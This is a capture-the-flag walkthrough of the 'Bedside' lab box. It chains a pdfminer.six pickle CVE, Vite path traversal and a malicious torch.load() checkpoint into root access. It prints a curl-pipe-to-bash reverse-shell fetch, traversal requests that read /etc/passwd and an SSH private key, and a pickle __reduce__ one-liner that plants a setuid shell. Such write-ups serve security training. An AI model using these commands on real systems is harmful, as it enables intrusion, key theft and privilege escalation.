Bedside
Summary
Bedside is a medium Linux box held together by dangerous Python serialization on both sides of the flag. A file upload backed by pdfminer.six is abused with a known pickle-deserialization CVE for an initial shell. The internal Vite dev server on port 3000 (filtered from outside) suffers a path-traversal that leaks developer's SSH key. Finally, a sudo-runnable training script feeds a crafted torch.load() checkpoint into the same deserialization sink for a root shell.
Skills Required
- Subdomain enumeration and vhost fuzzing
- Basic Python pickle/torch deserialization knowledge
Skills Learned
- Exploiting pdfminer.six (CVE-2025-64512) via file upload
- Path traversal against an internal Vite dev server
- Credential/key discovery through the internal service
- RCE through
torch.load()checkpoint deserialization
Enumeration
The port scan shows SSH, an Apache site, and a filtered port 3000 - worth remembering.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-19 06:30 -0400 Nmap scan report for bedside.htb (10.129.55.235) Host is up (0.038s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 80/tcp open http Apache httpd 2.4.68 (Debian) 3000/tcp filtered ppp
Vhost fuzzing reveals a subdomain.
ffuf -u http://bedside.htb -H 'Host: FUZZ.bedside.htb' \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 21 research [Status: 200, Size: 3152]
Foothold
pdfminer.six pickle RCE
research.bedside.htb hosts a file upload. A response header gives away the backend:
X-Powered-By: pdfminer.six
pdfminer.six is vulnerable to CVE-2025-64512: a crafted PDF can smuggle a pickle.gz file that gets deserialized on the server. The PoC ships two helpers - mkpickle.py builds a gzipped pickle whose payload is our command, and mkpdf.py wraps it in a PDF with a configurable extraction path.
python mkpickle.py 'curl http://[IP]:8000/rev.sh | bash' pwn.pickle.gz
[+] pwn.pickle.gz (106 bytes)
cmd: curl http://[IP]:8000/rev.sh | bash
python mkpdf.py -o pwn.pdf -p '/var/www/research.bedside.htb/uploads' pwn
[+] pwn.pdf -> /var/www/research.bedside.htb/uploads/pwn.pickle.gz
The extraction path had to point at the vhost's document root (/var/www/research.bedside.htb/uploads) - getting that wrong is what stalled the foothold. Uploading the crafted PDF triggers the pickle, and a reverse shell lands as datawrangler.
Lateral Movement
Internal Vite dev server
LinPEAS finds nothing exciting, but the filtered port 3000 from the scan is bound locally. Curling it from the shell reveals a React image viewer built with Vite/esm.sh.
curl localhost:3000 <title>Bedside Clinic - Image Viewer</title> ... import React from './vendor/react.js' ... <script type="module">import createHotContext from"/@hmr";... 💚 Built with esm.sh/x
Path traversal → SSH key
Vite dev servers are vulnerable to path traversal. With --path-as-is we read files from outside the web root.
curl --path-as-is http://localhost:3000/../../../../etc/passwd developer:x:1000:1000:developer,,,:/home/developer:/bin/bash curl --path-as-is http://localhost:3000/../../../../home/developer/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY-----
The leaked private key logs us in as developer.
ssh -i id_dev developer@bedside.htb
Privilege Escalation
sudo - bedside_trainer.py
developer can run a training script as root without a password.
sudo -l
User developer may run the following commands on bedside:
(ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
The trainer reads model checkpoints from /datastore/checkpoints (and requires an image in /datastore/processed). PyTorch checkpoints are pickles - a malicious .pt gives us a __reduce__ RCE when the trainer calls torch.load().
Chaining the upload back into the datastore
We drop a malicious zip through the research upload, have datawrangler extract the checkpoint into the datastore, and plant a dummy processed image so the trainer runs.
# developer shell - create a malicious checkpoint + zip, upload it
python3 -c 'import torch,os;E=type("E",(),{"__reduce__":lambda s:(os.system,("cp /bin/bash /usr/local/bin/rootbash;chmod 4755 /usr/local/bin/rootbash",))});torch.save(E(),"root.pt")'
python3 -c "import zipfile;z=zipfile.ZipFile('root.zip','w');z.write('root.pt');z.close()"
curl -s -F 'uploadFile=@root.zip;type=application/zip' http://research.bedside.htb/ >/dev/null
# datawrangler shell - extract into the datastore + dummy processed image
python3 -c "import zipfile;zipfile.ZipFile('/var/www/research.bedside.htb/uploads/root.zip').extract('root.pt','/datastore/checkpoints')"
touch /datastore/checkpoints/root.pt
echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII= | base64 -d >/datastore/processed/x.png
Running the trainer as root deserializes the checkpoint, which copies /bin/bash to /usr/local/bin/rootbash with the setuid bit - and we get a root shell.
# developer shell → root sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py >/dev/null 2>&1 /usr/local/bin/rootbash -p -c 'id; cat /root/root.txt'
If rootbash doesn't exist yet, clear the processed dir and touch a fresh checkpoint, then re-run:
# datawrangler find /datastore/processed -mindepth 1 -type f -delete echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII= | base64 -d >/datastore/processed/x.png touch /datastore/checkpoints/r3.pt # developer sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py >/dev/null 2>&1 ls -l /usr/local/bin/rootbash /usr/local/bin/rootbash -p -c 'id; cat /root/root.txt'
Key Takeaways
- Filtered ports are still attack surface - port 3000 was only reachable from inside, and it was the pivot to a shell.
- File uploads + deserialization libraries are RCE by default: pdfminer.six pickles, torch checkpoints are pickles - same sink, two boxes.
- Vite dev servers ship path traversal out of the box; never run them on anything that can be reached by a shell.
- Get the document root right - payload extraction paths are vhost-specific, and a wrong one fails silently.